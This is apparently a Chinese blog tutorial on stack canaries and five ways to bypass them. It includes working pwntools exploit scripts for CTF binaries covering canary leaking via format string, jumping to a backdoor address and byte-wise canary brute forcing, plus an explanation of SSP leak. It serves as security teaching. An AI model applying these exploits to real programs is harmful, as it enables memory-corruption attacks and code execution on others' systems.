探索Stack Cookie

探索Stack Cookie

Stack Cookie是一种针对栈溢出漏洞的缓解措施,增加漏洞利用难度,在Windows上这一技术称为/Gs:Cookie,在Linux上称为Stack Cannary。其实就是调用函数栈中(位于EBP-4的位置上)随机添加4字节的cookie,在调用结束后会检查当前栈上的cookie值是否和添加的cookie一样,以此来缓解栈溢出漏洞中填充覆盖利用。

示例:

1
2
3
4
5
6
#include <stdio.h>
void main()
{
char buf[10];
scanf("%s", buf);
}

在GCC中设置参数

1
2
3
4
5
-fstack-protector 为内部缓冲区大于8字节的函数插入保护
-fstack-protector-all 为所有函数插入保护
-fstack-protector-strong 增加对包含局部数组定义和地址引用的函数的保护
-fstack-protector-explicit 只对有明确 stack_protect attribute 的函数开启保护
-fno-stack-protector 禁用保护

开启后检测到了栈溢出

其汇编代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
Dump of assembler code for function main:
0x0000000000001149 <+0>: push rbp
0x000000000000114a <+1>: mov rbp,rsp
0x000000000000114d <+4>: sub rsp,0x40
0x0000000000001151 <+8>: mov rax,QWORD PTR fs:0x28 #取随机生成的Canary
0x000000000000115a <+17>: mov QWORD PTR [rbp-0x8],rax #将随机数放在栈上
0x000000000000115e <+21>: xor eax,eax
0x0000000000001160 <+23>: lea rax,[rbp-0x40]
0x0000000000001164 <+27>: mov rsi,rax
0x0000000000001167 <+30>: lea rax,[rip+0xe96] # 0x2004
0x000000000000116e <+37>: mov rdi,rax
0x0000000000001171 <+40>: mov eax,0x0
0x0000000000001176 <+45>: call 0x1040 <__isoc99_scanf@plt>
0x000000000000117b <+50>: mov eax,0x0
0x0000000000001180 <+55>: mov rdx,QWORD PTR [rbp-0x8]
0x0000000000001184 <+59>: sub rdx,QWORD PTR fs:0x28
0x000000000000118d <+68>: je 0x1194 <main+75>
0x000000000000118f <+70>: call 0x1030 <__stack_chk_fail@plt>
0x0000000000001194 <+75>: leave
0x0000000000001195 <+76>: ret

程序确实开启了Canary

canary被检测到修改,函数不会经过正常的流程结束栈帧并继续执行接下来的代码,而是跳转到call __stack_chk_fail处,然后对于我们来说,执行完这个函数,程序退出,屏幕上留下一行
** stack smashing detected ***: [XXX] terminated*

绕过方法

常见的几种绕过方法:

  • 泄露canary
  • 劫持_stack_chk_fail函数
  • 爆破canary
  • 覆盖TLS中存储的canary值
  • SSP leak攻击

泄露canary

利用现有漏洞泄露出canary的值,然后再构造ROP链。例题为攻防世界Mary_Morton为例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *

p = process('./Mary_Morton')
context(os = 'linux',log_level = 'debug')
system_addr = 0x4006A0


flag_addr = 0x4008da
p.recvuntil('3. Exit the battle')
p.sendline('2')

p.sendline('%23$p') #先使用格式化字符串漏洞输出canary的值
p.recvuntil('0x')
canary=int(p.recv(16),16)
print (canary)

payload = b'a' * 0x88 + p64(canary) +b'a'*8 +p64(flag_addr) #将canary添加进payload覆盖栈进行攻击

p.sendlineafter('3. Exit the battle ','1')
p.sendline(payload)

p.interactive()

攻击成功,如下进入命令执行

劫持_stack_chk_fail函数

由于canary检测添加的随机数被覆盖后,会进入到_stack_chk_fail函数,而该函数是一个延迟绑定函数,可以通过格式化漏洞修改GOT表劫持这个函数为我们需要执行的函数。例题参考

ZCTF2017 —Login

参考文章如下PWN-ZCTF2017-Login (futurehacker.tech)

使用checksec检查该程序,找到canary

反汇编检索到用户名和密码字符串

登录失败

在password_checker函数结束后,有一个call rax的指令

在汇编语言中找到给rax赋值的指令

在read_password函数栈帧中s和var_18,距离为0x60-0x18=0x48

这里的思路就是输入s中输入payload将var_18覆盖为我们需要执行的命令执行函数地址,找到地址为0x040E88的函数

构造exp代码如下:

1
2
3
4
5
6
7
8
9
10
from pwn import *

r = process('./login')

backdoor = 0x400e88
r.sendlineafter(': ','admin')
r.sendlineafter(': ','2jctf_pa5sw0rd'+b'a'*0x3a+p64(backdoor))

r.interactive()

爆破canary

对于 canary,虽然每次进程重启后的 Canary 不同,但是同一个进程中的不同线程的 canary 是相同的, 并且通过 fork 函数创建的子进程的 canary 也是相同的,因为 fork 函数会直接拷贝父进程的内存。我们可以利用这样的特点,彻底逐个字节将 canary 爆破出来

例题:2017湖湘杯-pwn100

爆破代码如下

1
2
3
4
5
6
7
8
9
10
11
canary = '\x00'
p.recvuntil('May be I can know if you give me some data[Y/N]\n')
for i in xrange(3):
for j in xrange(256):
p.send('Y\n')
p.send(b64encode('a'*257+ canary + chr(j)))
recv =p.recvuntil('May be I can know if you give me some data[Y/N]\n')
if 'Finish' in recv:
canary += chr(j)
break
print 'find canary:'+canary.encode('hex')

覆盖TLS中存储的canary值

canary是存储在TLS中的,函数返回前会使用这个值进行对比,当栈溢出空间较大时,我们同时覆盖栈上存储的canary和TLS储存的canary实现绕过

。。。。

SSP leak攻击

SSP leak 就是通过故意触发canary的保护来输出我们想要地址上的值。

** stack smashing detected ***: [XXX] terminated* 这里的 [XXX] 是程序的名字。显然,这行字不可能凭空产生,肯定是__stack_chk_fail打印出来的。而且,程序的名字一定是个来自外部的变量(毕竟ELF格式里面可没有保存程序名)。既然是个来自外部的变量,就有修改的余地。我们看一下__stack_chk_fail的源码,会发现其实现如下:

1
2
3
4
5
6
7
8
9
10
11
void __attribute__ ((noreturn)) __stack_chk_fail (void) 
{
__fortify_fail ("stack smashing detected");
}
void __attribute__ ((noreturn)) internal_function __fortify_fail (const char *msg)
{
/* The loop is added only to keep gcc happy. */
while (1)
__libc_message (2, "*** %s ***: %s terminated\n",
msg, __libc_argv[0] ?: "<unknown>");
}

我们看到__libc_message一行输出了 ** %s ***: %s terminated\n* 。这里的参数分别是msg和__libc_argv[0]char *argv[]是main函数的参数,argv[0]存储的就是程序名,且这个argv[0]就存在于栈上。

因此 SSP leak就是通过修改栈上的 argv[0]指针 ,从而让 __stack_chk_fail 被触发后输出我们想要知道的东西。大致思路就是利用栈溢出覆盖argv[0]指针的地址,让其指向内存中flag字符串的位置,然后触发canary保护机制,达到打印错误的同时打印出flag字符串的目的

打赏
  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!
  • Copyrights © 2021-2024 John Doe
  • 访问人数: | 浏览次数:

让我给大家分享喜悦吧!

微信